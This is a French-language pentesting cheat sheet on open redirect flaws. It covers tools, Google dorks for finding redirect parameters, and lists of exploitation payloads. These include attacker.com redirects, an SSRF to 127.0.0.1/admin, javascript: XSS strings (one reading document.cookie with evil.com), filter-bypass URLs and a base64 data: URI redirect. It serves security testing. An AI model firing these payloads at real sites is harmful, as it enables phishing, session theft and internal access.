↪️Open redirect

Outils dédiés aux open redirect

Outils

Dom-red

Dom-red est un outil permettant de tester les failles open redirect.

Exemple d'utilisation:

$ python dom-red.py -d <liste de domaines> -p <liste de payloads>

ressource: https://github.com/Naategh/dom-red

Open2Phish

Open2Pish est un outil de génération de wordlists de payloads d'open redirect et SSRF.

Exemple d'utilisation:

$ python3 open2phish.py -t target.com -d attacker.com

ressource: https://github.com/mathis2001/Open2Phish

Intigriti redirector

Outil de génération de wordlist en ligne: https://tools.intigriti.io/redirector/

Les types d'open redirect

Header based

Les open redirect basés sur en-tête utilise le header "Location:" dans la réponse HTTP pour rediriger l'utilisateur. Il s'agit donc d'une vulnérabilité côté serveur.

Javascript based

Les open redirect basés sur du javascript executent du code javascript dans le navigateur pour rediriger un utilisateur. Il s'agit donc d'une vulnérabilité côté client.

Detection

Le meilleur moyen de trouver des open redirect est de chercher des paramètres donc l'url est reflété soit dans un header Locaation dans la réponse, soit dans du code javascript.

Google dorks pour chercher des paramètres de redirection

inurl:%3Dhttp site:example.com
inurl:%3D%2F site:example.com

inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_url site:example.com
inurl:return site:example.com
inurl:returnurl site:example.com
inurl:relaystate site:example.com
inurl:forward site:example.com
inurl:forwardurl site:example.com
inurl:forward_url site:example.com
inurl:url site:example.com
inurl:uri site:example.com
inurl:dest site:example.com
inurl:destination site:example.com
inurl:next site:example.com

Exploitation

Basé sur des paramètres

?redirect=http://hacker.com

?redirect=hacker.com

?redirect=.hacker.com

?http://hacker.com

...

Basé sur un en-tête referer

Créer une page comme celle ci-dessous sur le serveur attaquant puis pointer les en-têtes referer sur l'url du serveur.

<html>
    <a href="https://example.com/login">Click on this link!</a>
</html>

SSRF via open redirect

Exemple:

stockApi=https://target.com/liens?redirect=https://127.0.0.1/admin

Open redirect to XSS (javascript based)

javascript:alert(1)
javascript://%0aalert(1)
javascript://%0dalert(1)
ja\nva\tscript\r:alert(1)//?
jav\nascri\npt://evil.com%0Aalert(document.cookie);alert(document.domain);
javascrip%0at%0a:alert(document.cookie)//
http: javascript: alert(document.domain);
%09Jav%09ascript:alert(1)
javascript://%250Alert(1)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
//j%5c%5cjavascript%3aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
\j\av\a\s\cr\i\pt:\a\l\ert(1)
javascript:top[/al/.source+/ert/.source](1)
%26%2302java%26%23115script:alert(1)
j&#97v&#97script&#x3A;&#97lert(1)
j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&lpar;
javascript%3Atop%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%2F%2F
%0Ajavascript%3Ato%0Ap%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%0A/%0A/%0A
javascript%3Aalert%2F**%2F(document.domain)
javascript:var{a:onerror}={a:alert};throw%20document.domain

Open redirect => CRLF => XSS (Header based)

↩️pageCRLF

bypass de filtre

Essayer d'utiliser un nom de domaine du type target.com.attacker.com si la cible semble utiliser une regex acceptant uniquement les urls qui commencent avec son nom de domaine.

Autres exemples:

https://attacker.com/exemple.com
https://exemple.com.attacker.com/exemple.com
https://exemple.com@attacker.com/exemple.com

Bypass par autocorrection du navigateur

https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:/\/\attacker.com
https:\\example.com
https://attacker.com\@example.com
//attacker,com

Avec le schéma data

data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iPC9zY3JpcHQ+

Via encoding

Exemples:

https://example.com%2f@attacker.com
https://example.com%252f@attacker.com
https://example.com%25252f@attacker.com
https://attacker.com%252f@example.com

Avec des caractères non-ASCII

https://attacker.com%ff.example.com
https://attacker.com?.example.com
https://attacker%e3%80%82com
https://attacker。com
https://attacker%02com
%2f%2fattacker%25e3%2580%2582com

ressource: https://jlajara.gitlab.io/Bypass_WAF_Unicode

Dernière mise à jour